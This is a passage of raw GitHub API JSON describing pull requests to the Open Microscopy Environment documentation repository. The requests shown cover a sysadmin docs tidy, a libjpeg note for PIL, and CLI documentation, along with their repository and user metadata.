n_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"0e53556a3e4e6e83d664c7207da8551a2bcba14d","ref":"develop"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/209/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/209"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/209"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/209"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/209/comments"}},"title":"Sysadmin docs tidy","state":"closed","number":209,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/209","head":{"user":{"type":"User","url":"https://api.github.com/users/hflynn","received_events_url":"https://api.github.com/users/hflynn/received_events","login":"hflynn","events_url":"https://api.github.com/users/hflynn/events{/privacy}","organizations_url":"https://api.github.com/users/hflynn/orgs","avatar_url":"https://secure.gravatar.com/avatar/0ee126d1abcd3c5b4f178b8d77af95ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/hflynn/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/hflynn/gists{/gist_id}","gravatar_id":"0ee126d1abcd3c5b4f178b8d77af95ae","followers_url":"https://api.github.com/users/hflynn/followers","id":2368904,"repos_url":"https://api.github.com/users/hflynn/repos","subscriptions_url":"https://api.github.com/users/hflynn/subscriptions","following_url":"https://api.github.com/users/hflynn/following"},"label":"hflynn:sysadmin-docs-tidy","repo":{"forks":0,"svn_url":"https://github.com/hflynn/ome-documentation","merges_url":"https://api.github.com/repos/hflynn/ome-documentation/merges","languages_url":"https://api.github.com/repos/hflynn/ome-documentation/languages","assignees_url":"https://api.github.com/repos/hflynn/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/hflynn/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/hflynn/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/hflynn/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/hflynn","received_events_url":"https://api.github.com/users/hflynn/received_events","login":"hflynn","events_url":"https://api.github.com/users/hflynn/events{/privacy}","organizations_url":"https://api.github.com/users/hflynn/orgs","avatar_url":"https://secure.gravatar.com/avatar/0ee126d1abcd3c5b4f178b8d77af95ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/hflynn/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/hflynn/gists{/gist_id}","gravatar_id":"0ee126d1abcd3c5b4f178b8d77af95ae","followers_url":"https://api.github.com/users/hflynn/followers","id":2368904,"repos_url":"https://api.github.com/users/hflynn/repos","subscriptions_url":"https://api.github.com/users/hflynn/subscriptions","following_url":"https://api.github.com/users/hflynn/following"},"open_issues":0,"updated_at":"2013-02-01T17:31:59Z","milestones_url":"https://api.github.com/repos/hflynn/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/hflynn/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/hflynn/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/hflynn/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/hflynn/ome-documentation/events","notifications_url":"https://api.github.com/repos/hflynn/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/hflynn/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/hflynn/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/hflynn/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/hflynn/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/hflynn/ome-documentation/collaborators{/collaborator}","full_name":"hflynn/ome-documentation","ssh_url":"git@github.com:hflynn/ome-documentation.git","pulls_url":"https://api.github.com/repos/hflynn/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/hflynn/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/hflynn/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/hflynn/ome-documentation/subscription","teams_url":"https://api.github.com/repos/hflynn/ome-documentation/teams","watchers":0,"created_at":"2012-09-18T09:22:07Z","git_url":"git://github.com/hflynn/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/hflynn/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/hflynn/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/hflynn/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/hflynn/ome-documentation/keys{/key_id}","size":340,"compare_url":"https://api.github.com/repos/hflynn/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/hflynn/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/hflynn/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/hflynn/ome-documentation/hooks","fork":true,"html_url":"https://github.com/hflynn/ome-documentation","master_branch":"develop","clone_url":"https://github.com/hflynn/ome-documentation.git","watchers_count":0,"git_refs_url":"https://api.github.com/repos/hflynn/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/hflynn/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/hflynn/ome-documentation/issues/events{/number}","private":false,"id":5853981,"default_branch":"develop","pushed_at":"2013-02-01T17:31:59Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/hflynn/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/hflynn/ome-documentation/forks"},"sha":"398b9c495391d6bcb843fe251f9926538417b943","ref":"sysadmin-docs-tidy"},"assignee":null,"updated_at":"2013-01-17T08:45:49Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/209/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/209/commits","closed_at":"2013-01-17T08:45:49Z","user":{"type":"User","url":"https://api.github.com/users/hflynn","received_events_url":"https://api.github.com/users/hflynn/received_events","login":"hflynn","events_url":"https://api.github.com/users/hflynn/events{/privacy}","organizations_url":"https://api.github.com/users/hflynn/orgs","avatar_url":"https://secure.gravatar.com/avatar/0ee126d1abcd3c5b4f178b8d77af95ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/hflynn/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/hflynn/gists{/gist_id}","gravatar_id":"0ee126d1abcd3c5b4f178b8d77af95ae","followers_url":"https://api.github.com/users/hflynn/followers","id":2368904,"repos_url":"https://api.github.com/users/hflynn/repos","subscriptions_url":"https://api.github.com/users/hflynn/subscriptions","following_url":"https://api.github.com/users/hflynn/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/209","merged_at":"2013-01-17T08:45:49Z","merge_commit_sha":"8b2ecbc547508255347bbcaf4b6fa19b02c3c00b","created_at":"2013-01-14T16:10:35Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/209/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/209.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/209","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"Fixing an issue spotted by Kenny and then tidying sysadmin docs re: formatting and style rules.\r\nAlso see ticket 10114","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/209.diff","id":3665632,"base":{"user":null,"label":"openmicroscopy:dev_4_4","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"698b93efc8c0eaa45be01d95e07856447d3faeaf","ref":"dev_4_4"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/208/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/208"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/208"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/208"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/208/comments"}},"title":"Add note about libjpeg for PIL (rebased onto dev_4_4)","state":"closed","number":208,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/208","head":{"user":{"type":"User","url":"https://api.github.com/users/hflynn","received_events_url":"https://api.github.com/users/hflynn/received_events","login":"hflynn","events_url":"https://api.github.com/users/hflynn/events{/privacy}","organizations_url":"https://api.github.com/users/hflynn/orgs","avatar_url":"https://secure.gravatar.com/avatar/0ee126d1abcd3c5b4f178b8d77af95ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/hflynn/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/hflynn/gists{/gist_id}","gravatar_id":"0ee126d1abcd3c5b4f178b8d77af95ae","followers_url":"https://api.github.com/users/hflynn/followers","id":2368904,"repos_url":"https://api.github.com/users/hflynn/repos","subscriptions_url":"https://api.github.com/users/hflynn/subscriptions","following_url":"https://api.github.com/users/hflynn/following"},"label":"hflynn:rebased/dev_4_4/develop","repo":{"forks":0,"svn_url":"https://github.com/hflynn/ome-documentation","merges_url":"https://api.github.com/repos/hflynn/ome-documentation/merges","languages_url":"https://api.github.com/repos/hflynn/ome-documentation/languages","assignees_url":"https://api.github.com/repos/hflynn/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/hflynn/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/hflynn/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/hflynn/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/hflynn","received_events_url":"https://api.github.com/users/hflynn/received_events","login":"hflynn","events_url":"https://api.github.com/users/hflynn/events{/privacy}","organizations_url":"https://api.github.com/users/hflynn/orgs","avatar_url":"https://secure.gravatar.com/avatar/0ee126d1abcd3c5b4f178b8d77af95ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/hflynn/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/hflynn/gists{/gist_id}","gravatar_id":"0ee126d1abcd3c5b4f178b8d77af95ae","followers_url":"https://api.github.com/users/hflynn/followers","id":2368904,"repos_url":"https://api.github.com/users/hflynn/repos","subscriptions_url":"https://api.github.com/users/hflynn/subscriptions","following_url":"https://api.github.com/users/hflynn/following"},"open_issues":0,"updated_at":"2013-02-01T17:31:59Z","milestones_url":"https://api.github.com/repos/hflynn/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/hflynn/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/hflynn/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/hflynn/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/hflynn/ome-documentation/events","notifications_url":"https://api.github.com/repos/hflynn/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/hflynn/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/hflynn/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/hflynn/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/hflynn/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/hflynn/ome-documentation/collaborators{/collaborator}","full_name":"hflynn/ome-documentation","ssh_url":"git@github.com:hflynn/ome-documentation.git","pulls_url":"https://api.github.com/repos/hflynn/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/hflynn/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/hflynn/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/hflynn/ome-documentation/subscription","teams_url":"https://api.github.com/repos/hflynn/ome-documentation/teams","watchers":0,"created_at":"2012-09-18T09:22:07Z","git_url":"git://github.com/hflynn/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/hflynn/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/hflynn/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/hflynn/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/hflynn/ome-documentation/keys{/key_id}","size":340,"compare_url":"https://api.github.com/repos/hflynn/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/hflynn/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/hflynn/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/hflynn/ome-documentation/hooks","fork":true,"html_url":"https://github.com/hflynn/ome-documentation","master_branch":"develop","clone_url":"https://github.com/hflynn/ome-documentation.git","watchers_count":0,"git_refs_url":"https://api.github.com/repos/hflynn/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/hflynn/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/hflynn/ome-documentation/issues/events{/number}","private":false,"id":5853981,"default_branch":"develop","pushed_at":"2013-02-01T17:31:59Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/hflynn/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/hflynn/ome-documentation/forks"},"sha":"bb1b82d32520f8362333335328321988202a9aef","ref":"rebased/dev_4_4/develop"},"assignee":null,"updated_at":"2013-01-15T20:02:36Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/208/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/208/commits","closed_at":"2013-01-15T20:02:36Z","user":{"type":"User","url":"https://api.github.com/users/hflynn","received_events_url":"https://api.github.com/users/hflynn/received_events","login":"hflynn","events_url":"https://api.github.com/users/hflynn/events{/privacy}","organizations_url":"https://api.github.com/users/hflynn/orgs","avatar_url":"https://secure.gravatar.com/avatar/0ee126d1abcd3c5b4f178b8d77af95ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/hflynn/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/hflynn/gists{/gist_id}","gravatar_id":"0ee126d1abcd3c5b4f178b8d77af95ae","followers_url":"https://api.github.com/users/hflynn/followers","id":2368904,"repos_url":"https://api.github.com/users/hflynn/repos","subscriptions_url":"https://api.github.com/users/hflynn/subscriptions","following_url":"https://api.github.com/users/hflynn/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/208","merged_at":"2013-01-15T20:02:36Z","merge_commit_sha":"323fb029776abcf6ef1c39aa268f338c59276a6d","created_at":"2013-01-14T11:19:15Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/208/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/208.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/208","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"\n\nThis is the same as gh-204 but rebased onto dev_4_4.\n\n----\n\nIf `libjpeg` is not installed while building PIL the JPEG support for some of the python scripts is missing (e.g. the \"Split View\" from the Figure scripts will fail).\r\n\r\nThe windows documentation probably doesn't need to be updated since PIL is provided as a binary distribution for that platform (and hopefully comes with JPEG support).\n\n ","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/208.diff","id":3661573,"base":{"user":null,"label":"openmicroscopy:dev_4_4","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"e1c4760c812f4b1b5d150a48ee872d4962f3722c","ref":"dev_4_4"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/207/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/207"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/207"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/207"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/207/comments"}},"title":"CLI documentation (rebased onto develop)","state":"closed","number":207,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/207","head":{"user":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"label":"sbesson:rebased/develop/2571_cli_improvements","repo":{"forks":0,"svn_url":"https://github.com/sbesson/ome-documentation","merges_url":"https://api.github.com/repos/sbesson/ome-documentation/merges","languages_url":"https://api.github.com/repos/sbesson/ome-documentation/languages","assignees_url":"https://api.github.com/repos/sbesson/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/sbesson/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/sbesson/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/sbesson/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_u